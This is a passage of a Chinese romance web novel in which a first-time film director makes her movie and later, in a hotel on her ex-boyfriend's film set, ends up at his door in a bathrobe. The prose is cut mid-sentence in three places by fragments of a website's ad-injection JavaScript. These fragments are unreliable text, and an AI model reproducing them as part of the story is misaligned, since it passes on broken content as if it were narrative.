【不是想看看,是确定想参加你这个项目。】 【够格吗?】 【招募贴里还写着共同创作共同推广呢,看得上我吗?】 宜夏有些迟疑。 莫非我其实真的是个天才,只发了两张概念海报,都能吸引到柳总这样的大佬?! 宜夏很矜持地说: 【当然。】 柳明昱很直接: 【我手上现在还有个项目在收尾。】 【过几天有时间详细聊一下,我过几天飞江流。】 【对了,你剧本我已经看过了,其他都好,结尾有点轻,不知道是不是你的设计。你再看一下有没有更好的处理方式。】 宜夏赶忙说好的,又有点好奇。 她剧本应该没给很多人看过,柳总怎么这么神通广大,竟然能看到她的剧本? - 没过几天,宜夏真的再次接到了柳明昱的电话。 刚落地江流汀兰国际机场,柳明昱问了她人在哪里,直奔码头要来清塘。宜夏赶紧去码头接人,出门的时候,外面下了一点太阳雨,彩虹似的。 雨不凉,阳光趴在皮肤上,反而有点烫,宜夏的心也跟着热烈滚烫起来。 这算是第一次正式跟合作伙伴见面。 所以宜夏正经地打扮了一下,穿得没那么休闲,换了比较知性的白衬衫加铅笔裙。 柳明昱却是出差刚结束,行色匆匆,也没怎么打扮,穿着简单舒服的卫衣加休闲裤。 柳明昱比宜夏大五岁,三十岁出头,穿卫衣还能穿出闲适轻松的少年气,很少见。 说到少年气。 宜夏上学时没从自己的高中大学同学身上发现过,后来是从谈雪昼身上领悟到的。 所以他应该一直意气风发,一直骄傲,不该跟她有什么关系。 宜夏带柳明昱到码头附近的一家奶茶店稍坐一会儿。 招待人有点寒酸,宜夏跑去点了两碗清补凉。 柳明昱就比较直来直去了,开门见山:“宜老师,我前几天提的剧本结尾,有改出新版本吗?” 宜夏没随身带电脑,只好拿出手机上存的文件给他看。递手机过去,柳明昱不动声色地抬眼,鼻尖却嗅到了她凑近时,长发拂动的盈盈暗香。 柳明昱仔细往下翻着看完,手指不自觉在桌上叩着,沉吟片刻:“会不会又有点太沉重了?” 宜夏开始解释自己这么改的原因。 柳明昱一直很耐心地听着,不时点头。宜夏从他的反应里得到了许多鼓励,解释完了,坐直:“您觉得怎么样?” 明明挺正经专业的对话,偏偏她一双黑白分明的清澈杏眼,看人时总有点眼巴巴的期待。 柳明昱一下说不出什么反对意见,点头:“发给我,我回头再认真看看。其他资料呢?谈——”他非常自然地把话绕了一个圈,“谈一下你目前的计划吧。” 宜夏又特别诚实地把自己做好的策划都给他看了。 说不上来为什么,她觉得柳总这人挺可信的,应该不会是那种骗稿骗创意的没下限的人。 聊着聊着就到了傍晚,天色渐渐擦黑,雨早就停了,外面的树叶被激发出阵阵冷香。 宜夏突然有点走神。 这香味令她想起,谈雪昼身上的气味。 奶茶店的店员在他们旁边擦了三遍桌子,偷偷观察他们什么时候离店。宜夏赶快去结了账,有点不好意思:“柳总,不知道您在这边有什么安排,有没有定合适的住处?如果有需要的话我可以给您推荐。” “我听说你之前在开民宿?现在不经营了?” 宜夏点头:“要筹备这个项目,没精力经营。” 两个人收拾了东西往外走,柳明昱说:“我还要赶回江流。你这个项目我大概有数了。投资的事你不用担心,我这边来推进。这几天再完善一下剧本,过段时间看景,……一个月之后开拍,你觉得紧不紧?” 宜夏都被他的进度惊呆了。 她现在还只写完了剧本,外景啊道具啊演员啊甚至幕后的工作人员没一个有着落的,只有一个制片配合干,怎么就,一个月之后要开机了? 但她很镇定:“我这边没什么太大问题。我完全可以。” “——意思是,等我走了,马上就要去小红书发招募贴了?” 宜夏一窘:“我……还有微博。” 柳明昱被她逗笑了,正经说:“幕后这些工作你都不用担心,我来找人。选角可能要操心一点,你先看看有没有什么合适的角色,到时候统一发试镜通知。对了,筹备期你就别待在岛上了,找个方便点儿的地方,去江流吧。” - 宜夏很听劝,也是觉得电影筹备阶段有很多很多会要开,住在岛上确实不方便。 隔天就打包收拾了行李去江流。 原先她在江流有个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 很小的工作室,就她和一个小助理,租了一间公寓。后来出事之后,小助理辞职离开,她也就退掉了公寓回了清塘岛。 回江流第一天,她把租公寓的事情办好,心情不错,打算给新据点添点清新色彩,于是去了趟江流有名的刺桐巷花鸟市场。 刺桐巷隔壁是凤凰桥街,凤凰桥街23号,就是江流中学。 宜夏高中的时候,非常喜欢逛刺桐巷。经常只在某家熟悉的花店里买一束金鱼草,白色的花朵点缀着金红色,一小束花枝纤长,是她刚好能负担得起的一点点仪式感和浪漫。 隔了很多年,再回刺桐巷逛,她经常去的那家花店老板竟然还记得她。 老板三十多岁,比她大一点,成熟漂亮。 她熟稔地打包了一株金鱼草,想起来跟宜夏说:“你之前来问毕业典礼给你送花的是谁,我找出来那个人的联系方式了,要不要看看?” 宜夏怔了片刻。 这都多少年前的事了? ——毕业典礼时,她被穿着玩偶服的陌生人送了一束橙玫瑰加向日葵。 花束的包装纸上,印着这家花店的LOGO。 毕业典礼结束之后,她匆匆跑到花店里问老板,能不能知道送花的人到底是谁? 为什么不露面呢? 那时店里只有一个打零工的小哥,迷迷糊糊地说不知道啊,这个订单是老板处理的,老板现在人不在。 宜夏坐在店里等到了晚上八点,捧着下巴抬起头,看见花店屋檐下一盏白亮的路灯,灯下许多蛾虫飞舞,扑扇着翅膀。 想起那束花,心里莫名涌上一种感动,更接近于被挽救的感觉。因为就在这天之前三天,她经历了一场人生观、世界观的巨大地震,陷入了强烈的自我怀疑之中。 她十八岁,多想知道那个让她意识自己也很珍贵的人是谁。 八点多,老板回了花店,很抱歉跟她说,订花的人打的座机,没有来电显示,也不知道到底是什么人。 但,是道年轻男生的声音。 宜夏的十八岁,迎来了一场拯救。 因为,有一个她不知道的人在默默对她好,让她确信,她不是那么一无是处。她也值得人喜欢。 - 老板在宜夏眼前挥了挥手:“怎么愣了?联系方式,要吗?” 宜夏从回忆里抽神,捧着金鱼草笑了下:“你不是说对方用的座机吗,怎么又有联系方式了?” “后来他又来买过一束花,留了号码。” “后来?什么时候?” 老板想了下:“那大概有个好几年了,是四五年之后了。不过还是定的橙色玫瑰加向日葵,就我家有,我一听那个声音就听出来了。”老板问她,“要不要联系方式?” 宜夏抱着花束想了想,摇摇头。 年少的悸动,就应该留在记忆里,不该被翻出来打搅。 只是顿了下,又问老板:“橙玫瑰,今天还有吗?” 老板说:“有,要多少?” 宜夏:“一枝就够了。” 老板嘲笑她抠门,买花总是只买一朵,宜夏没有反驳。 老板给她把一枝橙玫瑰包装得特别精致,送了她几个小花苞,劝她:“自己买玫瑰花有什么意思,赶紧找个能给你送玫瑰花的人吧!” 宜夏看着手里的金鱼草,又看了眼橙玫瑰,她微笑着摇了摇头。 可能很长一段时间,她都不会再想谈恋爱了。 她在店里买了几盆绿植,装在袋子里一起拎着慢悠悠往外走。 走到刺桐巷子口,她擦了下额头的汗,把一堆花盆都放在地上准备打车,一抬头,突然看见了街对面一道熟悉的人影。 谈雪昼。 和一个穿杏色长裙的漂亮姑娘。 那姑娘挽着他的手臂,两个人的姿势很亲密。 姑娘歪着头跟他说什么,他勾起唇角摇头,那姑娘就撒娇似的晃他的手臂。 宜夏眼睛被烫了一下。 在他们即将看过来时,立刻转过身背对他们,若无其事地蹲下拨弄花盆里的绿植。 心脏却不可自抑地泛出强烈的酸涩疼痛感。 53. 想把你比作春日 宜夏在江流安顿好,安心改剧本。 没改两天,柳明昱已经非常有行动力地拉了个剧组工作人员的群,找来了副导演、剧组统筹、执行制片、现场制片、生活制片等等工作人员。 宜夏跟他碰头,又聊了几次剧本。 最近一次碰头过后,他直接告诉了宜夏一个好消息:投资他也拉到了。 对方投资人很爽快,钱都已经打到剧组新开的账户上了。 宜夏简直惊了,怀疑他是不是去搞什么传||销了。 柳明昱笑而不语。 “宜夏导演、编剧”的项目,可能没什么太大吸引力。 “柳明昱制片”的项目,绝对令圈内人趋之若鹜。给几个看好的主要演员试镜邀请一发出去,就得到了对方特别积极的回应。 演员确定下来,宜夏突然产生了强烈的感慨。 这部电影,不再只是她存在电脑里的一个项目了,也不仅是她重新回到电影圈的一个依仗。 它涉及到很多人,涉及到未来好几个月的艰难辛苦,是很多人的希望,她希望能做好一点。 宜夏这天在根据柳明昱的反馈改剧本,改到最近一稿,已经是“马上开机绝不修改最后一稿ver.3”了,改到结尾部分,手机突然蹦出来一条新消息。 她揉揉眼睛,看了眼。 施可雨: 【夏姐,你朋友圈发的招募,现在还有效吗?】 【你要自己拍电影了吗?你还缺助理吗?】 施可雨就是宜夏之前招的助理,不是电影学院科班出身,和宜夏一样也是误打误撞进的圈子。 比她小个两岁,一个很文静内向的女生。 宜夏被网暴之后决定回清塘岛,施可雨先辞职,北上去了帝都找机会。宜夏偶尔看见她朋友圈,都是发一些深夜改稿的emo内容,但至今还没见到她拿到编剧的署名——所以宜夏是真的属于幸运的那一个,一出道,就有了署名,就有了奖项。 大部分编剧其实和小雨一样,默默在最底层挣扎着,最开始都是当枪手,后来才慢慢的有署名,有资源。 宜夏不问小雨为什么突然回来找她,只是回答: 【一直有效,助理倒是不缺了。】 施可雨: 【这样啊……那打扰了。】 宜夏说: 【不过还缺一个编剧。】 【你来吗?】 施可雨犹豫好久才回她: 【我可以吗?】 【你朋友圈里不是说,剧本已经写好了吗?】 宜夏说: 【制片这边有很多意见,缺一个人和我一起商量修改,不然我工作量也太大了。】 宜夏不缺编剧,也不需要人帮她修改她的剧本。 只是她当时遭受网暴的时候,小雨虽然已经辞职,却还是照顾了她整整两个星期,没有一走了之。 冲这份情,如果她需要,宜夏也不能坐视不理。 下午时,宜夏就见到了风尘仆仆赶来的施可雨。 施可雨背着电脑包,把东西放下之后环顾公寓一圈:“夏姐,你这和我们之前都没什么变化。绿植都是一样的。” 宜夏笑:“坐。” 施可雨却有点局促,掏出电脑来:“我手上还有两个项目在收尾。但我看到你的招募了,夏姐,你回来的话,我还想跟你学一些东西。在其他人那里……没人肯带我。” 宜夏也没有多废话,直接把打印出来的剧本给她看,以及柳明昱发来的反馈:“那你先看一下资料吧。” 施可雨抬头看她:“姐,你就这么信任我?我们都还没签合同,也没保密协议,你不怕我把你剧本流出去?” 宜夏问:“那你会吗?” 施可雨沉默片刻:“我不会。” 宜夏说:“赶紧看吧。我们很快就要开机了,开机之后,忙的时间更多。小雨,我第一次拍电影,没经验,幸好你来了,不然我都不知道找谁说。” 幸好有施可雨来了,宜夏改剧本没那么累了。 最近一稿改到结尾,施可雨帮着再针对反馈意见改了一部分,两个人一起熬夜到了凌晨两点,终于把稿子发给了柳明昱。 结果柳明昱没睡,三点又发了一回反馈过来。 宜夏看着结尾密密麻麻的批注,整个人:“……” 当时柳总不是说好的只是结尾有点轻吗?怎么现在哪哪都是问题,细致到一句台词、一声语气,这严谨的批注很像商务印书馆的图书编辑。柳总不会是干编辑出身吧? 宜夏默默发了个句号过去。 柳总问: 【吓到了?】 【还是内容太吹毛求疵了】 宜夏: 【……】 柳总: 【要开机了,抓紧点。明天我再找你来开个会。】 宜夏默默发了个嗯过去。 第二天宜夏又和施可雨一起奋战,主要是她改,施可雨则改一些不太重要的内容。到下午时,柳明昱来了。提前知道有两个人在,给她们俩带了海晏酒店的外带餐食,看样子是要开会开到晚上一起熬夜奋战了。 下一稿果真又是改到了凌晨两点。 宜夏发给柳明昱之后,整个人都要虚脱,但还是顶着夜风带着倦意送柳明昱下楼。 公寓楼底层,柳明昱回头看她:“剧本差不多了,过两天就开全组大会,再围读,准备好开机了。紧张吗?” 宜夏揉了下眼睛。 九月底的夜风带着湿润的微凉,她一身带露水的沉重疲倦,只是想到充满刺激的不远的未来,却有些跃跃欲试。 她会把自己伪装成温吞内敛的兔子,其实她心里住着一头火热的金黄的老虎。 她仰起头,在灯火下看向柳明昱:“柳总,辛苦,谢谢你。” 柳明昱笑着说:“你也辛苦,就送到这,不用再送了。” 他已经走出去几步。 宜夏突然有些冲动地问:“柳总,方便问一下,你真的只是看了我微博的招募,要跟我合作吗?” ——剧本发来的一稿一稿反馈里,为什么那么多熟悉从容的导演专业术语,推拉摇移镜头,关键节点设计。 真的是,柳总你写的反馈吗? 而不是哪个导演。 说不清道不明的联系,让宜夏格外在意。她自己都不知道为什么,潜意识总是会联想到那个人。 - 宜夏没有得到柳明昱的回答。 柳明昱只笑了一下,冲她挥手,就走了。 剧本定稿。 宜夏之前已经画了一些分镜头草稿,定稿后有一些修改,熬了两宿。 有些导演不会提前画分镜,有些导演会提前很久画,这都是个人习惯。宜夏看谈雪昼习惯提前很久,也跟着学。 ——这些天,她又一次想起他。 他在干什么呢? 晚上睡前她看了下热搜,他就在热搜上。 原来是他的新电影《牺牲者》开机了,巨星云集,阵容震撼,热搜上的宣传是投资十亿。 《牺牲者》提前在小城市白梨县搭好了摄影棚,据说棚子就耗资过亿,前期投资已经十分吓人。 开机照,他站在镜头最中央,戴着墨镜,倒是挺严肃的表情,完全没有平时那种懒散松弛柔软的感觉。 评论区除了大明星的粉丝控评之外,就是他的活人粉丝。 【谈导帅得不输耶总,不说是导演,还以为是俩人要演双男主】 【双男主我可以!】 【谈导帅得太超过,就是这个墨镜真的好装逼啊哈哈哈哈哈,内娱逼王之王】 【牺牲者开机大吉!票房大卖!所以小谈压了三年的《城池》什么时候上!】 【小谈太喜欢戴这个墨镜了,想象一下,你抱住他,开玩笑一样去摘他的墨镜,他无奈挡开,让你别闹,你一定要摘下来,他认输只好把墨镜取下来,你就看见了他墨镜下湿漉漉的桃花眼……】 宜夏:“……” 咯噔咯噔,宜夏看得有点头皮发麻。 谈雪昼的眼睛是桃花眼,只是眼型比一般的桃花眼要狭长一些,又因为眉压眼,平时就看不大出来桃花眼自带的深情,只有深邃,板起脸盯着人看的时候还会显得凶。 不过,他其实是个很温柔的人。 她没敢用自己的大号点赞开机。 事实上,她根本没点赞,刷过热搜,很快放下了手机继续画分镜。 ——忙着自己的电影开机的人,应该不至于,凌晨两点,还帮忙写其他人剧本的反馈意见吧。 画分镜遇见了一些困难。 一个特别重要的高潮镜头,宜夏总觉得有更好的分镜处理方式,冥思苦想许久,打开了塔可夫斯基的电影做参考。 看完一部还是没灵感,鬼使神差,点进了谈雪昼的学生作品。 高潮分镜,感情激烈,情绪激荡,短短几个简单的跳切,就直接把剧情推向了不可挽回的高潮。 宜夏不是突然发现他很有才华的。 分开之后,才越来越觉得,她之前对他偏见太多了。 没有看见那些藏在商业的包装下,坚定、自由、充满希望的珍贵的热情。 《清塘山岛日记》按照宜夏的打算是要在清塘岛取景。 不过这部电影70%以上都是室内戏,还是棚拍为主。 宜夏第一次体验作为一个导演的感觉。 因为她是新手,柳总找了另一位导演方黎来监制,其实是指导她,宜夏跟着方导学了很多。所有细节都要看到,都要了然于胸。 布景是她和布景组的同事一起商量开了很久的会敲定下来的,内景外景、道具服装,所有人遇见了问题都要找她。 还没开机,刚开始围读剧本,宜夏已经忙得跟陀螺一样。 后来渐渐熟悉了工作节奏,围读结束了,马上要正式开拍了,她就更忙了。 有些导演不亲自掌镜,只会在大监背后看,宜夏不熟悉,还是要亲自看摄像到底拍成什么样。 柳总找的摄影老师是业内特别厉害的一位大师,拍过很多拿奖的文艺片,还是看中了她的剧本才进组的。 宜夏最开始不敢对大师的构图镜头说什么,过了两天,还是鼓起勇气跟他说明自己想要的东西到底什么样,没想到大师好说话,好商量,有时候片场碰撞着,能一起想出之前完全没想到的绝妙镜头。 原来拍电影真的是件很有意思的事。 写出一个剧本,只是有了一个故事。 但是拍一部电影,就好像看着故事里的人逐渐活起来,故事里的世界慢慢地出现,实在是太有成就感了。 不过累也是真的很累。 每天晚上演员收工了,工作人员休息了,宜夏还要自己检查粗剪当天拍的素材。粗剪完经常就凌晨三四点了,第二天七点又要开工。 这也是因为她不熟悉不熟练,第一次当导演,她有时候想谈雪昼应该不会她这么辛苦。 但转念又一想,投资十亿和投资五百万,不是一回事,他应该更辛苦。 剧组是活生生一百多号人,时不时就有些小矛盾小摩擦,大家各自都有自己的小心思,光是处理人际关系,宜夏已经很累了。 尤其是又有一个临时招进来的道具师,叫辛天赐,在剧组干些小偷小摸的勾当,还骚扰女性工作人员。宜夏报警把他弄走,又安抚被他骚扰的工作人员,简直弄得身心俱疲。 不过幸好,演员那头没有幺蛾子,已经省了大部分的事。 她又想,要是演员全是大牌明星,那估计会很难处理吧?一不小心,粉丝就要闹上天。 拍电影可真难啊。 宜夏经常告诫自己,不能一直想到他。 《清塘山岛日记》十月份开机,十一月中旬杀青。 刚开拍的时候,宜夏完全没想到自己竟然能按照统筹给的时间进度表按时杀青。 杀青过后,正式进入后期工作。 剪了快一周,宜夏突然发现一个重要的穿帮镜头,没办法后期修补,必须要演员来补拍。 幸好租的器材道具都还堆在仓库没还回去,她临时召集工作人员补拍。镜头主要出镜的是女主演,头天晚上宜夏给电影的女主路嘉灵打电话。 补拍完之后,继续平稳推进 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后期。 几个月的拍摄,宜夏跟路嘉灵关系不错。 路嘉灵刚出道没多久,没什么名气,但很有天赋和灵气。小演员刚出道,自己一个人租房住,前段时间被一个疯狂的男粉丝跟踪,报警处理过后,没地方可去,宜夏干脆让她跟自己一起住。 宜夏每天早出晚归忙着电影后期的事,录音棚、摄影棚、剪辑、后期,连轴转,晚上回到家,家里却特别干净,晚上回去晚了,还有夜宵等着她吃。 跟养了个田螺姑娘一样。 一周后路嘉灵说不想再打扰宜夏了,要动身离开。 宜夏当然说不打扰,又担心她一个人回家住遇见危险。 她抿着唇,微笑说:“不会,而且我不回家。许姐帮我找了个客串的角色。” 许姐是她的经纪人。 宜夏松了口气:“哪个剧组?” 路嘉灵露出笑容:“《牺牲者》,谈导的剧组。大制作,许姐说我有两分钟戏份。” 宜夏工作起来,忙得像陀螺,下意识地忘记谈雪昼这个人的存在。 骤然听到他的名字,她有一瞬间出神,片刻后,轻声说:“我送你去片场吧。你一个人去,路上不安全,要是又碰见了变态怎么办。” 路嘉灵说:“不用,我……我这么大的人了,那个人不敢在有摄像头的地方硬来的,我只要不去没人的地方就行了。” 宜夏说:“我不放心,你是我的女主角。” 路嘉灵把脸埋在宜夏的肩膀上:“导演,我可以叫你阿宜吗?” “……” 宜夏外婆就这么叫她。 宜夏声音很温柔:“好。没事,我们不怕他。他不能拿你怎么样,再有下次我们必须要报警把他抓进去坐牢。” 宜夏送路嘉灵去《牺牲者》片场。 《牺牲者》的摄影棚在白梨县,离江流市不远,开车要三个钟头。 路上,宜夏的心脏却莫名越跳越快。 她说不清,自己要送路嘉灵,到底有没有别的私心。 她不该有的。 都说了“就当没有发生过”了,她怎么能念念不忘,做这种拖泥带水的事情呢? 宜夏把路嘉灵送到片场外面,没有进去,在外面停了一会儿。 出发的时候是下午,到的时候已经是晚上了,但片场还在拍夜戏,灯火通明。只是,这是一个太大的摄影棚,太大的片场,她根本不知道谈雪昼在哪里。 她坐回车里,发动了车往回开。 开出去两分钟,又折返,掉了个头。 她突然很想,只是远远地见谈雪昼一眼。 趁他下班,看他一眼。 是鬼迷心窍了,或者她本来就是这种矫情做作的人。 她在他面前做作得还少吗?只是这次做作,不能让他发现而已。 他也不会发现。 片场到剧组下榻的酒店有几百米的距离。 宜夏的车停在路边,熄了火,默默地往片场那方向看。 没多久,就见片场最上层的大灯熄灭了。不一会儿就有一些工作人员鱼贯而出。片场安保很紧,没有代拍站姐能混进去,但这条上下班的几百米路上,蹲了不少接明星下班的粉丝。 宜夏专注地看着片场的出口,突然听见周围一阵热烈的欢呼。 定睛一看。 原来是《牺牲者》剧组最火的大咖巨星路昭野下班了。 路昭野流量大实绩强,但是黑料缠身,本人性格桀骜不驯,圈内得罪人无数。对粉丝也态度恶劣,哪怕粉丝在这么冷的深秋夜晚等他下班,等得这么辛苦,他也懒得朝她们看一眼,拉低了棒球帽冷着脸匆匆走过,身后还跟着经纪人和安保,确保狂热的粉丝无法接近他。 然而粉丝还是非常热情,尖叫着他的名字,试图给他递上贺卡和礼物。 他头也不抬,长风衣衣角猎猎翻飞着,几步就走远了。 离得很近,宜夏听见他的粉丝在小声说:“耶总今天是不是不开心啊,走得比昨天快。” “他好累了,拍谈导的电影哪次不折磨人。” “耶总脸色好差,周方明是死人吗,都不给他补一下。” 一个代拍加入了她们的话题,问:“每天就看这么几秒钟上下班,你们等这么久不累啊?” 粉丝姑娘说:“喜欢就不累啊。” 另一个粉丝说:“虽然挺累的但看那几秒真的很开心。知道他八点下班,七点钟就很开心了。” 代拍说:“不懂你们。” 几个女生走远了,宜夏却在出神。 车子熄了火,没开空调,她在车里坐了好一会儿了,这会儿手脚冻得冰凉。但只要想着能见到一个人,她忽然也感觉不到冷了,只有一些酸涩的开心,心脏泡在温热的柠檬水里一样,酸胀难言,许久之后,一种清甜的回甘才缓缓释出。 片场的大灯次第熄灭。 不少工作人员从片场陆陆续续出来了,宜夏睁大眼睛,可是光线昏暗,看不清人脸。 ——但是她想,不论光线有多暗,谈雪昼出现了,她就一定能认出来。 工作人员陆陆续续都走完了。 还是没见谈雪昼的人影。 ……他提前走了? 或者,其实他已经走过,只是她没认出来? 不可能。 宜夏蜷缩着身体,在车里又等了一阵。 深秋露重,她冻得手脚发麻,实在没办法,低下头把车发动了,按开空调。 再抬起头时,有人敲了敲她的车窗。 感谢柳总给车贴了最好的防窥膜,外面的人应该看不清车里人的样子。 ——但宜夏能看清外面的人。 站在外面敲她车窗的人,大半夜还戴着一副墨镜,咖色的长风衣垂坠感很好,胸口一根细细的银链晃动着,宜夏的眼睛被短促地闪了一下。 他—— 他认出她了? 她在这里蹲他,是不是有点变态? 被他发现了。 怎么办。 好丢人。 宜夏紧张得手抖,不知所措到直接把头埋在了方向盘上装死。 54. 想把你比作春日 车没熄火,防窥膜贴再好,也能看清车里有个人。 谈雪昼敲了一阵车窗,没敲开,直起身,冷淡说:“片场不允许代拍,附近也不能停车,麻烦挪走。” 宜夏声音小得和蚂蚁一样,也不知道外面的人有没有听清:“……好、好的。” 谈雪昼走开了,宜夏扭头,看见他被风卷起的头发。 他头发很软,估计是工作太忙,没来得及补色,现在一大半都是金色了,在路灯下反射着轻浅璀璨的光。 他突然转身,又折回她的车窗外。 宜夏被吓得赶紧又趴回方向盘上,埋着头,心跳如擂鼓。 车窗外的人居高临下凝视着车里的人。 宜夏知道,他看不见防窥膜里的人。 但总觉得,他的目光沉沉地落在了她脸颊上,耳根处,耳坠上那颗蜻蜓形状的耳钉,这一刻变得特别沉重,硬生生扯着她的耳垂往下坠,甚至要把她钉在地上。 她想找个地缝钻进去。 谈雪昼没出声。 宜夏也没敢抬头。 沉默很久,宜夏终于听见有其他人路过,跟谈雪昼打招呼:“谈导,下班了啊。” 随后是凌乱响起的脚步声。 许久,宜夏终于鼓起勇气悄悄抬头,谈雪昼已经离开了。 她松了口气,缓缓坐直,揉了揉胸口,一阵沮丧。 丢人。 他应该没认出来她吧,只是把她当代拍了而已。 正要发动车,她突然见不远处走来一个熟悉的人影。 柳明昱跟一个中年男人并肩走过来,好像正在谈什么。 ——柳明昱怎么会在《牺牲者》片场? 宜夏之前的某个猜测缓缓压实,这一刻心脏却突然胀痛无比。 好像被泡在放了轻盐的温水里,密实沉着的疼痛。 她打下车窗,主动招呼已经走到车边的人。 柳明昱表情很惊愕:“宜老师?你怎么在这里?” 宜夏说:“灵灵有个客串角色,我送她过来。柳总你呢?” 柳明昱自如跟旁边的中年男人介绍:“许总,这就是我跟你说的《清塘山岛日记》的导演宜夏。”又跟宜夏说,“这是木山的许总。正好宜老师你来了,我刚好在跟许总聊《清塘山岛日记》的发行。” 许总笑着恭维:“导演这么漂亮,年少有为啊。柳总制片的片子,我还能信不过吗?不过海外发行最近是有点不好做——” 居然是聊《清塘山岛日记》。 宜夏又觉得自己猜错了,难道柳总其实和谈雪昼没什么关系? 她心绪凌乱,正胡思乱想着,柳明昱简单跟宜夏点了点头:“宜老师,那我们先过去了。——这么晚,你开车回江流?” 宜夏怔怔点头。 柳明昱说:“你一个年轻姑娘,半夜了,先在这边住一晚吧。酒店还有空房。” 宜夏不知要不要拒绝。 一想,既然许总在这里,她不能让制片人一个人聊公事,她也得给制片老师分忧,于是推门下车。 三个人顺着马路往酒店的方向走。 她根本插不进去柳总和许总的话。 两个人语带机锋各种打太极,潜台词深得她听不懂。 她默默跟在人身后,无厘头地想,这两个人的台词,才是电影圈的核心科技,可以卡好莱坞的脖子那种。 根本不需要她参与,柳总和许总很快达成了一致,笑得跟两条老狐狸似的,一前一后进了酒店大堂。 宜夏默默跟在柳明昱身后。 这间酒店是被《牺牲者》剧组包了下来,不过许总是《牺牲者》的出品方,也是投资人爸爸,经常还要来剧组看进度,所以自然有房间。 柳明昱是蹭的他,宜夏又要蹭一间,蹭的二次方。 许总挺好说话,跟前台说:“条件要好一点的,单人间。”转头又问宜夏,“酒店就是普通的四星,住得惯吧?” 宜夏讷讷点头。 既然是许总带来的人,前台自然安排条件最好的顶层房间。 也只有顶层还有空余的房间,好几间空房,是剧组主动留给投资人爸爸的。 柳明昱明显和许总还有别的话聊,两个人就留在一楼大堂,好像在等人。宜夏领了房卡,自己上楼。 上电梯后,中途电梯停了片刻,门打开,进来的是一个眼生的女演员,以及她的经纪人。 女演员素着一张脸,长相寡淡,但身上有种劲劲的气质,眼风瞟人,风情万种。 宜夏认识她,是最近刚走红的小花姜敏,之前没什么名气,因为能够出演《牺牲者》而受到关注。 她和宜夏都是到顶楼,宜夏刷自己门卡的时候,发现她和经纪人朝走廊另一侧走去。 叮。 宜夏的房卡刷开了。 她不经意回头看了眼,姜敏推开了对侧另一扇房门,一闪身进门了。 宜夏进门,把空调暖气开到最大风力,坐在沙发上缓了好一会儿,手脚才渐渐暖和起来。 心情差的时候,她喜欢洗澡。 要洗一个多小时,全身上下打满泡泡;水温要调得滚烫,最好能把所有皮肤都烫红。她喜欢很狭窄的浴室,这样整个浴室里都能充满水雾,什么都看不清,只能满脑子天马行空地胡思乱想。有很多灵感,是在这种时刻萌芽的。 她叹了口气,找出酒店的浴袍钻进了浴室。 水温调得非常高,整个人烫得像尾热水里蜷缩起来的红虾。宜夏脑子里不停地闪现刚刚谈雪昼那条细细的银链,还有被夜风吹得乱飞的柔软发丝,以及他情绪寡淡的声音,冷漠的,淡定的,疏远陌生的。 失恋的后遗症后知后觉。 如此长久,无法忘怀。 宜夏身上打满了泡泡,正要取下花洒冲的时候,水突然停了。 她把花洒放回去,赶紧拧开水龙头。 也停了。 顾不得那么多,她钻出浴室,打了酒店前台的电话。 前台立刻说会派人来修,让她稍等几分钟。 等了五分钟,还没人来。 她裹着浴袍,身上是没冲干净的泡泡,整个人瑟瑟发抖,想了下,推门出去。 刚刚姜敏是进了哪扇门? 她踩着拖鞋,脚趾紧紧地抓着地毯,犹疑地走向另一侧,仰头。 1906. 她尝试着敲了敲门,声音有些抖:“你好?可以借一下浴室吗?” 酒店房门厚重,她隐约听见里面的走动声。 等了片刻。 穿堂的寒风拂过走廊,裸露的肩膀起了一层鸡皮疙瘩。 她又喊了一声:“不好意思?有人吗?” 房门突然打开。 门里,一道高瘦的身影。 ……竟然是谈雪昼。 他表情寡淡,漠然看着她。 房间里灯光不强,他戴了一副黑框的防蓝光眼镜,身上是件柔软的浅蓝色针织毛衣,内搭不那么正式的白衬衫,衣领凌乱。暖黄的光倾泻下来,他头发又多又密,发丝在发着光,整个人看起来暖暖的。 可是—— 可是这间房间不是姜敏的吗?! 怎么、怎么谈雪昼会在里面? 宜夏从没想过自己能有这么尴尬狼狈的时刻! ——裹着浴巾出现在前男友酒店房间门口,问他借浴室。 ——前一刻还看见其他女人进他的房间。 脚趾和手指都不自觉蜷缩起来,尴尬到了极致,恨不得装死。 可是这一刻必须镇定,她勉强说:“不好意思……打扰了,我马上就走。” 紧紧拉着浴袍捂住领口,转身要走,谈雪昼突然出声:“站住。” 宜夏僵住。 谈雪昼从上到下,面无表情仔仔细细地打量了她一遍。 宜夏在他审视的目光里简直无地自容,紧紧咬住唇瓣,语无伦次:“… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …不是,我不知道这个房间是你,我以为是……” 谈雪昼的声音冰凉带着讥诮:“你以为是谁?你不知道这个房间是我的,那你知不知道,这栋酒店住的是我的剧组?” 宜夏心脏剧痛,眼眶也热了,她攥紧浴袍,浑身湿漉漉的,冻得心凉:“对不起,真的打扰了,我没想到……不好意思……我马上走——” 她也不知道自己为什么要一直道歉。 宜夏不愿意再多解释了,微微鞠了个躬转身就要离开,不防一只手腕被人用力箍住,随后一股大力,把她扯进了房间。 天旋地转之间,宜夏感觉被人压在了门板上,一条腿强硬地挤进她两腿之间,把她死死钉在门板上。 房间里暖气开的足,宜夏没感觉冷,可是裸露的肩膀却起了一层鸡皮疙瘩。她下巴被掐住,被迫仰头,对上谈雪昼浓黑的眼睛,顿时心脏狂跳。 那双眼睛有太多晦暗的情绪。 浴袍裹紧又松开,从胸口滑下,宜夏立刻攥紧袍角,声音发抖:“你……你先放开我。” 他居高临下俯视着她,冷笑:“你这次又打算玩什么把戏?” “我……没有。” 宜夏心里一阵悲凉。 是啊。 说出来都会觉得奇怪,她怎么就,跑到几百公里外的前男友的剧组,住进他隔壁的房间,衣衫不整穿着浴袍找他借浴室? 说没点心机没点企图,会有人信吗? “穿着浴袍敲我的门,宜夏,你以为我还会上你两次当吗?” 宜夏难堪得要命,脸颊热辣辣的滚烫:“我真的……只是意外。我马上离开,你放开我——” 控制着她身体的力度骤然一松。 谈雪昼面无表情把她推进浴室里,随后立刻合上大门,声音冷淡:“冲完赶紧出来。” 宜夏捂紧胸口的浴袍,眼眶通红,声音很闷:“……谢谢。” 心堵得很难受。 她听见了他在外面关门的声响,似乎是避嫌离开了房间,走到了外面走廊。 